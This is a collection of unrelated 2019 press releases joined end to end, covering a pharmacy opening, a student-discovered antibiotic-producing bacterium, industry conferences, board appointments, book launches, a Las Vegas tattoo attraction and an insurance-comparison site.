http://www.gomarketing.com. Benzer Franchise is proud to gain the attention of the eyes, and especially, the ears of another community with news of its latest store opening in the theme park capital of the world, Orlando, Florida. Company officials have announced plans for grand opening celebration on April 30th, 2019 featuring an impressive guest list of notable attendees from the public service sector. The guestlist includes Cortez Whatley, Chief Aide to Commissioner Uribe, Orange County, District 3; Minnie DeLuca, Assistant to Rick Singh, Orange County Property Appraiser; and Raquel Fernandez, Community Relations Coordinator, Orange County Tax Collectors Office. Vinesh Darji, President of Benzer Franchise, says the company will be rolling out the red carpet for its special guests and customers throughout the course of the day. This grand opening is rallying a lot of exciting energy Darji said. Thats partly because of our magical surroundings here in Orlando, but its also because weve got some great things in store, literally, for people who are seeing the Benzer name for the first time. He continued, Were here in Orlando to both make and keep the promise of delivering the lowest prices in town, coupled with less wait time, filling prescriptions in five-to-10 minutes, flat. Even better, Darji said Benzer will also be offering free blister packaging for customized medications, a stream of value-added clinical services such as immunizations, medication management options, diabetic consultation, and the personalized service thats come to embody the brand. Those ideas sit well with Benzers corporate President, Alpesh Patel, and Benzer Franchise Vice President, Tony Marakas, who will also be on hand to welcome a larger contingent of the announced dignitaries from the Chamber of Commerce and city council, and the local police. The grand opening and ribbon cutting ceremony is slated to kick-off at approximately 8am on April 30th on the grounds of the new Benzer Pharmacy Franchise, located at 7790 Lake Underhill Road, Suite 104. Regular store hours will run weekdays from 9am to 6pm and Saturdays from 10am to 2pm (closed Sundays). Customers may reach the pharmacy by phone at 407-723-0200; Fax: 407-230-0100. All major insurances accepted. To learn more about Benzer Pharmacy, visit http://www.benzerpharmacy.com. About Benzer Pharmacy. Founded in 2009, Benzer Pharmacy is a chain of independent retail pharmacies specializing in compounding and specialty medication. Currently, there are 82 corporate-owned and 34 franchise locations situated throughout 29 states, including Florida, Michigan, Virginia, West Virginia, North Carolina, Tennessee, Texas, Georgia, Nevada, Louisiana, New York, Missouri, Mississippi, Maryland, Ohio, Indiana, and Idaho. Projections call for continued rapid growth as the organization seeks to substantially increase its customer base, while ensuring experiences match expectations at every touchpoint. Benzer Pharmacy has made four straight appearances on Inc. 5,000 list of the fastest growing private companies in America from 2015-2018; correspondingly, the company earned 39th place on the 2015 Florida Fast 100 list, while concurrently placing 67th on the 2015 TBBJ 200 list of Tampa Bays largest private companies. Benzer was also voted favorite pharmacy in the 2015 Best of Fuquay Varina in North Carolina, and achieved PCAB compounding accreditation with Accreditation Commission for Health Care (ACHC). All Benzer Pharmacy medications require a doctor's prescription. Facebook: https://www.facebook.com/BenzerPharmacy LinkedIn: https://www.linkedin.com/company/benzerpharmacy Instagram: https://instagram.com/benzer_pharmacy SOURCE: Benzer Pharmacy Atlantis Aziz-Dickerson, Joyceline Dweh and DAsia Buchananseniors at Rochester Prep High Schoolisolated, identified and genetically sequenced the genome of a Yimella bacterium. Credit: Sue Weisler Ive never been in a lab before. I already have the knowledge of what to expect when I go to college now that I have this experience. Doing this capstone project took me out of my comfort zone, and I think it will help me in the future. - Joyceline Dweh Three high school students working in a science lab for the first time made a surprising discovery with a Rochester Institute of Technology professor. Now, the young women are co-authors on a scientific paper announcing a rare bacterium that kills e-coli. Atlantis Aziz-Dickerson, Joyceline Dweh and DAsia Buchananseniors at Uncommon Schools Rochester Prep High Schoolisolated, identified and genetically sequenced the genome of a Yimella bacterium in the RIT Genomics Lab with faculty mentor Andre Hudson, head of RITs Thomas H. Gosnell School of Life Sciences. The species of Yimella produces antibiotic compounds that inhibit at least two kinds of bacteria, Escherichia and Bacillus, both of which contain species pathogenic to humans. Their findings will appear in the April 25 issue of The American Society for Microbiologys Microbiology Resource Announcements. The paper, Isolation, whole-genome sequencing and annotation of Yimella sp. RIT 621, a strain that produces antibiotic compounds against Escherichia coli ATCC 25922 and Bacillus subtilis BGSC 168, lists the high school students alongside lead author Anutthaman Parthasarathy, RIT postdoctoral researcher; Narayan Wong, Genomics Lab technician; and Nicholas Burns, a fourth-year biotechnology and molecular bioscience major, and RIT faculty Michael Savka and Hudson. Working in the RIT Genomics Lab throughout the fall semester, the students isolated, extracted and sequenced the whole genome of the bacterium3.2 million base pairsusing an advanced sequencing platform, the Illumina MiSeq Next Generation Sequencer. The team annotated the genomic information and analyzed the genome of the bacterium to reveal the organisms unique properties. We all worked on it together, Buchanan said. Knowing that I was a part of this finding was really exciting for me because not everybody has the same opportunities and, being that we come from a place where we dont have a lot of opportunities to be published and to be in this situation, it was very rewarding. Aziz-Dickerson isolated the bacterium from the door handle leading to a lecture hall in RITs College of Science building, or Gosnell Hall. The high school senior plans to study biomedical sciences and biology at college. Antibiotic resistance is a growing factor in our world, Aziz-Dickerson said. We swabbed a door handle, one of the bathroom hand dryers and a cell phone, and we isolated three different bacteria. We didnt know the genera or species of the bacteria we isolated. We found out it inhibits the growth of two different types of bacteria. Hudson geared the capstone project towards bioprospectingsearching for unique bacteria with beneficial properties that can be exploited. He was surprised to find this species. This one is unique, Hudson said. Our paper is one of the few studies out there and the bacterium produces compounds to kill other bacteria. I see science as a service, and we are making the strain available to the scientific community. We will need to do follow-up experiments, but this strain of Yimella may be a candidate for isolating compounds to create new antibiotics. Antibiotic and antifungal resistance is a growing concern around the world, and pharmaceutical companies are racing to make up for lost time in developing new drugs to treat infections. The overuse and lack of stewardship of antibiotics, along with the hurdles of the drug approval process, are to blame, Hudson said. We had drugs on the market that worked well for a while but stopped working due to a natural phenomenon of evolution, Hudson said. If you continue challenging the same organism or organisms with the same drug over time, they well figure out a way to circumvent it. We werent discovering or developing drugs at the same time to match the pace of evolution. We knew ultimately that this was going to come, it was just a matter of time. Nearly 20 students from Rochester Prep visited RIT during the fall and winter to work with professors on a variety of projects in science, biomedical sciences, sustainability, game design, photojournalism and sociology. Many of the Rochester Prep students will be among the first in their family to attend college. Experiential learning opportunities like the capstone program give them a glimpse of the culture and pace of college. Ive never been in a lab before, Dweh said. I already have the knowledge of what to expect when I go to college now that I have this experience. Doing this capstone project took me out of my comfort zone, and I think it will help me in the future. Hudson did not hesitate to volunteer to be a capstone mentor when he learned about the opportunity. I was heartened by this program, Hudson said. I am a scientist today because someone took the time to do exactly what I hope I did for those students. The capstone program grew out of a unique relationship between the charter high school and the university. Rochester Prep High School, a member of award-winning charter management organization Uncommon Schools, opened in 2014 with a strong partnership with RIT already in place, through a donation from RIT Trustee Ron Zarella. The Zarella gift supports RIT in directing relevant resources to the goal of 100 percent college graduation for all Rochester Prep students, said Kit Mayberry, RIT vice president for strategic planning and special initiatives. RITs involvement with the high school is not a recruitment tool; like Uncommon Schools, it helps graduating seniors find the college most suitable to their talents and interests. Mayberry, who directs the RIT side of the partnership, thinks that this unique alliance can become a model for other urban schools. It stands to reason that higher education should be a major player in the process of preparing students for a successful college career, Mayberry said. While not all Rochester Prep capstone students will be co-authors on a scientific research paper, the partnership gives all of them a huge leg-up for college success. The Hospitality Sales and Marketing Association International (HSMAI) is convening hotel revenue professionals for two days of education, collaboration, and innovation at its ROC Americas in Minneapolis, Minnesota. ROC 2019 will be held June 1819 and is co-located with HITEC 2019. The event is the worlds largest gathering of revenue professionals in the travel industry with more than 650 in attendance. With powerful educational and networking opportunities, ROC is the must-attend conference of 2019 for learning and engagement. Its where senior leaders in hotel revenue optimization, sales, marketing, and distribution connect and engage in meaningful, thought-provoking conversations about the most important strategic issues facing the business. ROC 2019 will prepare attendees to take the lead in revenue strategy. The educational sessions are focused on elevating leadership and business acumen, anticipating and responding to headwinds, aligning sales, marketing, and revenue optimization efforts, adapting to the ever-changing landscape of hospitality technology, and driving profit throughout the customer journey. Highlights include: Dynamic and insightful general sessions on the Future of Revenue Management and Building Your Leadership Muscles The return of the Lightning Round: Insights Worth Sharing Repeated breakout sessions in multiple tracks 2 days of education, including partner pre-con and faculty education sessions that were standing room only in 2018 Access to the HITEC exhibit hall and general sessions (for qualified ROC registrants), a $450 value Presentation of the HSMAI Vanguard Award for Lifetime Achievement in Revenue Optimization and Revenue Optimization Professionals of the Year Awards ROC Americas 2019 will bring together senior leaders responsible for leading revenue optimization and pricing for brands, management companies, ownership groups, hotels, and resorts. The event also showcases partner companies serving the revenue management industry, including consultants, technology vendors, and companies providing products and services in revenue management, execution, and reporting. HSMAI thanks preferred partner IDeaS, a SAS Company; platinum partners Cendyn and Rainmaker; and silver partners Infor, Milestone, OTA Insight, Sabre, STR, Tambourine, and TravelClick, and all Bronze and Media partners. Additional networking and education opportunities include a roundtable for faculty members currently teaching revenue optimization, a headshot studio that will provide complimentary professional headshots, and the return of HSMAI Helps, a volunteer opportunity benefitting Minneapolis. Go to http://www.hsmairoc.org for more information and to register. About HSMAI The Hospitality Sales and Marketing Association International (HSMAI) is committed to growing business for hotels and their partners, and is the industrys leading advocate for intelligent, sustainable hotel revenue growth. The association provides hotel professionals and their partners with tools, insights, and expertise to fuel sales, inspire marketing, and optimize revenue through programs such as HSMAI Digital Marketing Strategy Conference, Adrian Awards, and Revenue Optimization Conference. Founded in 1927, HSMAI is a membership organization comprising more than 5,000 members worldwide, with 40 chapters in the Americas Region. Connect with HSMAI at https://www.hsmai.org, http://www.facebook.com/hsmai, http://www.twitter.com/hsmai, and http://www.youtube.com/hsmai1. Sassy Feet: a fun and thoughtful tale about birth deformities, is the creation of published author Melanie Parham, a semi-retired sales professional, proud mother, and cancer survivor blessed with a granddaughter. She lives just outside of Orlando, Florida, with her husband of twenty-five years. Parham writes, Sassy Feet is about a little girl who is born with club feet and has to endure surgeries, casts, and braces with and without bars. Her parents are concerned with helping her with the physical and emotional aspects of this birth defect. Club feet is the most common birth defect, affecting one out of every one thousand births, and every fifteen minutes, a child is born with some level of club feet. It is a birth defect that, most of the time, can be corrected early in the childs life, but can be socially upsetting as the child sometimes has to wear casts or braces on one or both feet, preventing them from wearing shoes and possibly not participating in certain activities. Children can sometimes be a little cruel or perhaps just curious as to why a child with club feet has to wear corrective casts or braces, therefore bringing unwanted attention or questions. When the little girl in Sassy Feet starts preschool, her parents dont want her to feel ostracized, so they come up with a plan to paint her casts in such a fun way that instead of unpleasant stares and/or questions, she is considered cool, and they start calling her Sassy Feet! Giving her that added confidence allows her to get through a potentially rough period of time and removes the stigma that comes with having a birth defect. Published by Christian Faith Publishing, Melanie Parhams new book is an uplifting reminder that whatever the obstacles in life, there is always a way to get through it with a can-do attitude, loving family support, and a dash of creativity. View a synopsis of Sassy Feet on YouTube. Consumers can purchase Sassy Feet at traditional brick & mortar bookstores, or online at Amazon.com, Apple iTunes store, or Barnes and Noble. For additional information or inquiries about Sassy Feet, contact the Christian Faith Publishing media department at 866-554-0919. PRSM selects new Board of Directors "The facilities management industry is undergoing an evolution and PRSM is evolving and is prepared for its next chapter. The association is well positioned strategically and financially, and I am excited about the opportunities that lie ahead, - Myriah Kingen, PRSM Board Chair. The Professional Retail Store Maintenance Association (PRSM), the authority on retail, multi-site facilities management, announced its Board of Directors has selected new officers for the 2019-2020 term. The new officers are: Chair: Myriah Kingen, Director, Facilities Management, DaVita Kidney Care Vice Chair: Matthew Whelan, President/CEO, W Services Group Treasurer: Shawn Browning, MP, FMA, LEED-Green Assoc., Facility Manager, Nike, Inc. Secretary: Jaclyn Frenzel, Vice President, OnSite, Inc. The Association membership also elected two new retail Board members to three-year terms and two retail alternates to a one-year term. Newly elected retail directors include: Director: Anthony Armato, Director, Facilities & Energy Management, Ulta Beauty Director: Kirk Beaudoin, RFMP, FMA, LEED Green Associate, Senior Facilities Manager, adidas America, Inc. Retail 1st Alternate: Jordan Campbell, Facilities Manager, Bottega Veneta Retail 2nd Alternate: Mike Bowman, Director, Facilities, Environmental and Safety, LCBO Retailer Directors returning to the Board include: Director: Steve Andrews, Sr. Regional Facilities Manager, Walmart, Inc. Director: Neil Butler, LEED Green Associate Two Supplier Board members were elected, one for a three-year term, and one supplier alternate, elected to a one-year term. Newly elected supplier directors include: Director: Grant Baecker, President, Authority HVAC Supplier Alternate: Kim Goei, COO, Fexa Supplier Directors returning to the Board include: Director: Tom Buiocchi, CEO, ServiceChannel Director: Chris Slocum, Founder, Chief Customer Officer, Cornell Storefront Systems, Inc. As Director Facilities Management for DaVita Kidney Care, Kingen, PRSMs new Board Chair, directs facilities maintenance, project rollouts and store refurbishments for more than 1,000 DaVita Locations. This past year Kingen served as PRSM Board Secretary. She first became a PRSM member in 2006 and has served on the Editorial Board, and the following committees: Ethics, Governance, Membership, and the Mid-Year Conference Task Force. It is an honor to be elected PRSM Board Chair. The facilities management industry is undergoing an evolution and PRSM is evolving and is prepared for its next chapter. The association is well positioned strategically and financially, and I am excited about the opportunities that lie ahead, Kingen said. The 2019-2020 PRSM Board will be seated during the Boards full meeting on Tuesday, April 30, at the PRSM2019 National Conference, in Denver, CO. Visit prsm.com for more information. About the Professional Retail Store Maintenance Association (PRSM) PRSM Association, the authority on Retail and Multi-site Facilities Management, is the leading membership organization for retail facilities and vendor professionals. PRSM empowers the Retail Industry facilities management with best practices, benchmarking, education, discussion forums and trusted partnerships. Chartered in 1995, and with approximately 950 member companies, PRSM community values are founded on a spirit of innovation, resourcefulness, the quest for knowledge and ethical business relationships. Members depend on PRSM to help them achieve greater success and a competitive advantage through quality programs and resources. Rebel.com, a leading Canadian web hosting company and domain name registrar, has named Brett Tackaberry as Chief Technology Officer (CTO). Tackaberry joined Rebel in 2016, and previously served as Director of Technology. As CTO, Tackaberry will lead Rebels engineering and development teams and will oversee all technology operations, infrastructure, and product direction. Bretts extensive background and knowledge in development and design, along with his strong leadership skills, will further enhance our product innovation and growth, said Rebel CEO, Rob Villeneuve. Not only is this an exciting and strategic move for Rebel, but the benefits will be felt where it matters most with our customers. Tackaberry commented, Im excited to be a part of this phase of Rebels evolution. We have a strong team and theyre passionate about doing great work. We are going to continue to help our customers contribute and be successful online, and we want to reduce barriers for those who are just getting started. Tackaberry brings 20 years of experience helping people and companies do business online, starting with co-founding digital agency 76design. He runs Random Hacks of Kindness, a hackathon for social good; he assists in running Tech4Good, a community organization that bridges the gap between the digital and technology sectors; and contributes to such initiatives as Ottawa Civic Tech and Code4Canada. He has also been known to rock a pretty sweet mustache each November to raise funds for Mustaches for Kids. About Rebel.com Rebel.com is a leading web hosting company and domain name registrar that supports thought leaders, web developers, trailblazing businesses, entrepreneurs and innovators to contribute, share, and succeed online. By providing domain names, web hosting solutions, site builders, professional email, and all the tools and resources needed to build and grow ideas online, Rebel leads the way in the worlds bravest communication space: the internet. Media Contact: Taryn Manias taryn(at)rebel.com 613-797-2115 President Donald J. Trump addresses participants 2019 Rx Drug Abuse & Heroin Summit on Wednesday, April 24 in Atlanta Credit: Pierce Harman Photography This years Summit continued to focus on bringing the best minds together to discuss whats working in prevention, treatment, and law enforcement in order to restore hope and save lives. A record number of more than 3,500 of the nations top researchers, law enforcement officials, advocates and policy-makers convened for the 8th Annual Rx Drug Abuse & Heroin Summit, which ended yesterday in Atlanta. The level of participation at this years Rx Summit was unprecedented. The impressive lineup of officials participating in the Summit this year, including President Trump and the First Lady, underscores the gravity of the opioid crisis and the governments commitment to fighting it, said U.S. Congressman Hal Rogers (R-KY), founder of Operation UNITE, the original organizer of and now educational partner for the Summit. The meeting is indeed a reflection of our ongoing determination and dedication to getting ahead of this crisis. Key highlights from the Rx Summit include: More than 3,500 in attendance a record number for the Summit. Participants hailed from all 50 states, Washington DC, and Puerto Rico. President Donald J. Trump and First Lady Melania Trump addressed the Rx Summit on Wednesday, April 24. Trump is the second sitting president to deliver an address. President Barack Obama spoke in 2016. Melania Trump is the only first lady to participate in the Rx Summit. The Summit was covered by nearly 100 media outlets. The National Institutes of Health gave an update on the HEAL Initiative, which was announced at last years Summit. An investment of $850 million is being made in Fiscal Year 2019 on research to prevent and treat opioid addiction as well as create new pain management methods that are effective but non-addictive. In addition, the new HEALing Communities Study will occur in four states with the ambitious goal of reducing opioid-related deaths by 40 percent over three years. Five members of Congress, U.S. Representatives Hal Rogers (R-KY), Buddy Carter (R-GA), Wm. Lacy Clay (D-MO), Susan Brooks (R-IN) and David Trone (D-MD), addressed attendees, where they shared the latest information on federal policy and legislation, and expressed a united, bipartisan goal for more life-saving solutions to the opioid public health crisis. James W. Carroll, director of the White House Office of National Drug Control Policy (ONDCP), and leaders from the U.S. Drug Enforcement Agency (DEA) and Kentucky state justice cabinet agreed that law enforcement is one component in fighting the opioid epidemic, but there must be collaboration in improving health, treatment, and education efforts. The 2019 program delivered practical, evidence-based education and actionable takeaways in 12 key areas, from National Policy Action to Prevention Strategies. It was a powerful four days of programming, networking, and idea exchange, and from my conversations with participants, it was the most valuable meeting to date, said Nancy Hale, president and CEO, Operation UNITE, the educational advisor for the Summit. This year, the Rx Summit hosted registrants from communities across the United States and several countries. The education delivered here will no doubt better equip these communities to battle the opioid pandemic. We are on the right path! The toll of addiction, from lost lives to broken families, touches nearly every community. This years Summit continued to focus on bringing the best minds together to discuss whats working in prevention, treatment, and law enforcement in order to restore hope and save lives, said Doug Edwards, director, Psychiatry and Behavioral Health Learning Network, part of HMP, the producer of the meeting. It is incredibly rewarding to know that we are playing a role by bringing so many groups together to find solutions. Next years Rx Drug Abuse & Heroin Summit will take place at the Gaylord Opryland Resort & Convention Center in Nashville on April 13-16, 2020. It will be the first year that the Summit will be held in Nashville. Founded in 2012, the Rx Drug Abuse & Heroin Summit is now the largest national gathering of professionals from federal to family: local, state and, federal agencies, public health officials, business executives, academia, treatment providers, advocates, law enforcement, and family members working to find solutions that address the prescription drug abuse and misuse epidemic. The meeting is produced by HMP, a leader in healthcare events and education. To stay informed about Rx Drug Abuse & Heroin Summit updates, visit rx-summit.com, and follow Rx Summit on Facebook and Twitter @RxSummit. About HMP HMP is the force behind Healthcare Made Practical and is a multichannel leader in health care events and education, with a mission to improve patient care. The company produces accredited medical education events and clinically relevant, evidence-based content for the global health care community across a range of therapeutic areas. In addition to the Rx Drug Abuse & Heroin Summit, its brands include Consultant360, the year-round, award-winning platform relied upon by primary care providers and other specialists; Psych Congress, the largest independent mental health meeting in the U.S.; EMS World Expo, North Americas largest EMT and paramedic event; and the Symposium on Advanced Wound Care (SAWC), the largest wound care meeting in the world. For more information, visit hmpglobal.com. "Sam Boak, President of Boak & Sons, suggests investing that extra cash in a way that will benefit you in the long run." This April many of us will receive our tax refund from the past year and will have to decide what to do with their extra cash. Sam Boak, President of Boak & Sons, suggests investing that extra cash in a way that will benefit you in the long run. One great way to do this is through an exterior home improvement project like a new roof or new vinyl siding. According the data from the IRS from April 13, 2019, the average refund is $2,795 which is down 1.3% from last year. With the average trending down, it is important to consider the best way to use your refund to your benefit. One of the most beneficial things you can do with your refund money is to save it or make an investment, says Patrick Finn, Boak & Sons Chief financial Officer. When you are a home owner, your house is your biggest asset. Refund season might be a good time to pull the trigger on a big home improvement project that can help boost the value of your home. A new roof will range in price depending on the size and complexity of the structure but refund money can take a significant sum of money off your total. Your roof is your propertys first line of defense against the elements. It is worth investing to feel secure knowing you have new, properly installed, and warranted roofing or siding on your home or business, Sam Boak says. Whether it is a new roof or new vinyl siding, investing in your home can only boost the property value and benefit the curb appeal. Keeping your homes exterior up-to-date prevents leaks that could cause more damage to your home or businesses structure. If you have any questions about exterior construction projects or Sam Boak, please contact Kellie Daley at 330-793-5646 or kdaley(at)boakandsons(dot)com. # # # About Boak & Sons: Boak & Sons, Inc. was founded by Sam Boak in 1974 as an insulation contractor. With the high energy costs of the 70's, Boak & Sons expanded early on into the roofing business. They offered economical roof installations through cutting edge technology and equipment, allowing customers to recoup even more in energy savings. Today, Boak & Sons is a residential and commercial contractor for roofing, insulation, sheet metal, windows, siding, and gutters. Based in Youngstown, Ohio, the company serves customers in surrounding areas from Cleveland to Pittsburgh. For more information on Boak & Sons, visit their website at: https://www.boakandsons.com/ Steptoe & Johnson PLLC will present its Meeting Todays Challenges in Higher Education seminar on Thursday, May 23, at the Westin Pittsburgh from 8:30 a.m. until 2:30 p.m. Experts from the areas of law, higher education, communications, and cybersecurity will address crucial issues facing colleges and universities. Brian Crow and Peter Lake will give the seminar keynote addresses. Crow, of Slippery Rock University, will speak on Hazing and Hazing Prevention in Higher Education. Peter Lake, of Steptoe & Johnson and Stetson University College of Law, is one of the nations foremost authorities on higher education law. He will address Admissions Scandals and Future Trends. The seminar includes sessions on Threat Assessment and Crisis Management, How to Effectively Address Your Most Significant Cybersecurity Risks, and Sexual Misconduct in Higher Ed: Preparing to Navigate the New Title IX Regulations. Seminar speakers and panelists representing Steptoe & Johnson, Carnegie Mellon University, Robert Morris University, Slippery Rock University, Waynesburg University, Washington & Jefferson College, Quantum Communications, and Securely Yours, LLC will offer broad knowledge to attendees. For more information, visit http://www.steptoe-johnson.com/education. About Steptoe & Johnson Steptoe & Johnson PLLC is a law firm nationally recognized for its strengths in energy law with more than a century of know-how in the areas of business, employment, and litigation. Steptoe & Johnson has nearly 300 attorneys practicing in 14 offices in Colorado, Kentucky, Ohio, Pennsylvania, Texas, and West Virginia. Visit http://www.steptoe-johnson.com and connect with us on Twitter and LinkedIn. For more information, contact Betsy Spellman, Chief Marketing Officer, at (304) 933-8000 or by email: press@steptoe-johnson.com. ### Tattood America Pop-Up Attraction at Pop Vegas, featuring 21 interactive experiences, now open at The LINQ Promenade in Las Vegas. "Tattoo'd America is a funhouse for grownups, as exciting for those without tattoos as people who have them," said Kassandra Lopez, general manager, Tattoo'd America. "It's a social space where visitors can create, connect and share." Tattood America, the first interactive experience at Pop Vegas located at The LINQ Promenade in the heart of the Las Vegas Strip, is now open. Tattood America celebrates the artistic, provocative and expressive qualitiesas well as the sex appealof tattoo and body art. The attractions immersive and photogenic experienceswhich are designed to delight both tattooed and non-tattooed guests, encompass 21 interactive installations, including: An Ink Pool Partya tattoo-themed ball pit for grown-ups. 40 clones tattooed to showcase the diversity, history and artistry of tattoo and body painting. Live, 3-D full-body mapping, which turns a guest into a canvas for body painting and tattoo projections. A confetti-and-pillow-fight darkroom. Over 500 art works from 100 renowned tattoo artists from around the world A Sailor Jerry Spiced Rum museum-within-a-museum, featuring a unique collection of famed tattoo artist Norman Sailor Jerry Collins original tattoo flash sheets and photography. A translucent red-light O-Dome containing ultra-sexy, tattooed clones for a perfect selfie background. My Tattoo, My Story, an installation powered by peoples own personal stories about their tattoos. For this exhibit, the public is invited to post photos to Instagram tagging @tattoodamerica or use the hashtag #tattoodamerica. Each week, winners will be chosen to have their tattoo integrated into the Tattood America experience, to be seen by thousands of visitors. and much more! Tattood America also features an Ink Lab, a live semi-permanent tattoo studio powered by inkbox where guests can choose custom tattoo designs for temporary application. An in-house live tattoo parlor, operated by Club Tattoo, will feature visiting artists from all over the country, and is open for traditional tattoos. Tattood America is open Monday through Wednesday, 11:30 a.m. to 9:00 p.m., and Thursday through Sunday, 10:30 a.m. to 10 p.m. General admission is $29; Nevada residents with ID pay $18. Packages are available, such as the Romantic Package for two, which includes admission, conceptually connected semi-permanent tattoos for the couple and cocktail tastingsnot to mention plenty of sexy photo opportunities. Package prices start at $49. To purchase tickets, click here. Click here to download photos. ABOUT TATTOOD AMERICA Tattood America, the first interactive experience at Pop Vegas located at The LINQ Promenade, celebrates the artistic, provocative and expressive qualitiesas well as the sex appealof tattoo and body art. In an immersive, dazzlingly visual funhouse atmosphere, Tattood America encompasses 21 interactive experiences and 500 works of art. In addition to engaging in provocative and colorful photo opportunities, visitors to Tattood America can share the sentiments behind their own tattoos at the My Tattoo, My Story photo booth and touchscreen wall. Onsite services include live tattooing in the in-house Tattoo Studio presented by Club Tattoo, semi-permanent tattoos from inkbox, body painting by professional body artists and hand marbling. For more information, visit http://tattoodamerica.com and follow on Facebook, Twitter and Instagram: @tattoodamerica. ABOUT POP VEGAS: Pop Vegas at The LINQ Promenade hosts rotating pop-up experiences designed for the adult market, featuring funhouse-style, playful environments perfect for photographing and sharing on social media. Sexy, exciting and full of dazzling and colorful interactive installations, Pop Vegas experiences are themed around topics such as tattoos, dating, fashion and more. Each experience will have a limited-run engagement before being replaced by something brand-new, giving visitors reasons to return again and again. For more information and to reserve tickets, visit popvegaslinq.com or follow on social media: @tattoodamerica. # # # MEDIA CONTACTS: Erika Pope/ Christina Cober The Vox Agency erika(at)thevoxagency.com, christina(at)thevoxagency.com (702) 249-2977, (541) 778-2738 Use online quotes to compare offers in your area and get the best deal. Our website will help you get free quotes and compare all available offers, said Russell Rabichev, Marketing Director of Internet Marketing Company. Compare-autoinsurance.org has released a new blog post that explains how the clients should compare car insurance rates and save money. For more info and free quotes, visit https://compare-autoinsurance.org/find-the-best-ways-to-compare-auto-insurance-rates/ When determining rates, companies analyze a multitude of socio-economic factors. Age, gender, employment status and driving history are top influential factors. In order to have an idea of how much they are expected to pay, clients should get free quotes from http://compare-autoinsurance.org/. Analyze the factors used by the companies to determine premiums. Companies analyze multiple factors when calculating rates. The most influential factors are: cars make and model, driving history, demographic factors, recent claims and traffic violations and coverage options. All these variables are added in a rates calculator and the client will be presented with an insurability score and a quote. Each factor has its importance. For example, married persons are statistically safer drivers and they end up paying less on car insurance. Understand the risk profile, then look for providers that will accept the case. For Standard and Preferred drivers, the insurance process is really simple. Make a list with top reputable companies and get quotes for each one of them. Things get complicated for high-risk drivers. They must find non-standard carriers, get quotes and compare prices. Comparison is really important in this case, since high-risk drivers will have to pay a whole lot more. Use brokerage websites to get and compare multiple estimates. There will be many smaller, more local companies included in those quotes obtained from brokerage websites. But in many cases, smaller companies offer top competitive services at lower costs. It really pays to shop around and not limit the options to just 2 or 3 companies. Furthermore, all results are obtained using the same data and for the same product. This gives no room for errors. Clients who use brokerage websites can quickly sort offers by prices. But do not be guided only by price. Check what other benefits and bonuses can be obtained by applying to each offer. Adopt better driving habits. Making several changes will help drivers get better rates. Many insurance questionnaires ask about installed anti-theft devices, graduating defensive driving or installing telematics. These will help lower the costs. Compare-autoinsurance.org is an online provider of life, home, health, and auto insurance quotes. This website is unique because it does not simply stick to one kind of insurance provider, but brings the clients the best deals from many different online insurance carriers. In this way, clients have access to offers from multiple carriers all in one place: this website. On this site, customers have access to quotes for insurance plans from various agencies, such as local or nationwide agencies, brand names insurance companies, etc. For more information and free car insurance quotes, visit http://compare-autoinsurance.org/ The State of North Carolina Department of Administrations Office of Historically Underutilized Businesses (HUB) has engaged Griffin & Strong, P.C to conduct a disparity study on the availability and utilization of minority and women owned businesses enterprises and examine relevant evidence of race- or gender-based discrimination in contracting. Griffin & Strong, P.C. is conducting a series of informational meetings across the state to inform the business community, organizations, advocates, and the general public about the disparity study process and how they can participate. Four (4) meetings will be held over a 2-day period in the following four (4) locations across the state: Wednesday, May 1st, 2019 From 11 a.m. 12:30 p.m. NC Department of Natural & Cultural Resources, 109 E. Jones Street, Raleigh, NC 27603 Wednesday, May 1st, 2019 From 4 p.m. to 5:30 p.m. Government Center Room 267 600 East Fourth Street, Charlotte, NC 28202 Thursday May 2nd, 2019 from 12:00 p.m. to 1:30 p.m. City of Greenville (NC) City Hall Third Floor 200 West Fifth Street Greenville, NC 27835 Thursday May 2nd, 2019 from 6:00 p.m. to 7:30 p.m. Hughes Building 46 Aston Street, Asheville, NC. 28801 Griffin & Strong will facilitate and provide information about the study process. For interested parties, please register using Eventbrite at: https://northcarolinadisparitystudyinfomtg.eventbrite.com. Registration is encouraged but not required for participation. For questions or concerns, please email Griffin & Strong Deputy Project Manager, Sterling Johnson, at NCStudy(at)gspclaw.com or Sterling(at)gspclaw.com. Please note all comments during the meeting may be recorded and potentially used in the studies. Griffin & Strong, P.C. is a law and public policy consulting firm based in Atlanta, GA. Since 1992, the firm has represented individual clients, small businesses, corporations, and government entities in public policy consulting, legislation, contract compliance, supplier diversity consulting, and disparity studies. Tony Davis, a retired Army Lieutenant Colonel and former county director for a congressionally chartered nonprofit organization in South Korea currently pursuing a second masters degree in professional writing at New York University, has completed his book God Loves You: Some Restrictions May Apply (and Many Other Christian Dilemmas): a personal reflection on his journey from faith to nonbelief, and an engrossing investigation of the Christian faith. God Loves You: Some Restrictions May Apply (and Many Other Christian Dilemmas) is written by a fairly well-educated, extensively travelled former Southern Baptist Bible Banger (SB3), professional layman, retired military intelligence officer, and keen observer of the human condition who happens to be fascinated with what one believes, why, and the effects of those beliefs on society. This is an appeal to honesty in the terms of epistemological disquisition, a critical analysis of the major truth claims of religion (especially Christianity), apologetic justifications, and foundational documents. Written from 2008 until 2018, parts of this book were written on four continents, in twenty-five countries, including an active combat zone (so forget the lie about no atheists in foxholes), and a number of the United States. The books focus is religion, but the implications are applicable to all dogmatic belief systems. The emphasis on religion is because it is perhaps the most pervasive and sublime crystallization of systematic dogmatic thinking in the human condition. This book is not intended for a single audience but for several. It is to serve as a reference work for unbelievers who simply dont know how to articulate their unbelief. It is a position statement of why the author no longer believes. For those who are on the fence and might need a source against which to evaluate their own questions it may be helpful. And finally, it is for the devoutly religious for two reasons, to explain why not everyone agrees with them, and to appeal for them to at least be honest when articulating their own beliefs. Published by New York City-based Page Publishing, Tony Daviss book is a candid and reasoned examination of the tenets and contradictions of religious faith. Readers who wish to experience this thought-provoking work can purchase God Loves You: Some Restrictions May Apply (and Many Other Christian Dilemmas at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing Page Publishing is a traditional New York-based, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not overwhelmed with logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and the like. Its roster of accomplished authors and publishing professionals allows writers to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. William Michael, a pastor who has preached the Good News of the gospel since the age of twenty-eight, has completed his book Knowing God for Yourself: an invaluable resource for readers embarking on their own faith journeys. Pastor William Michael believes this short book will help give insight to personally knowing God and have an understanding about how easy it is to walk with the Lord 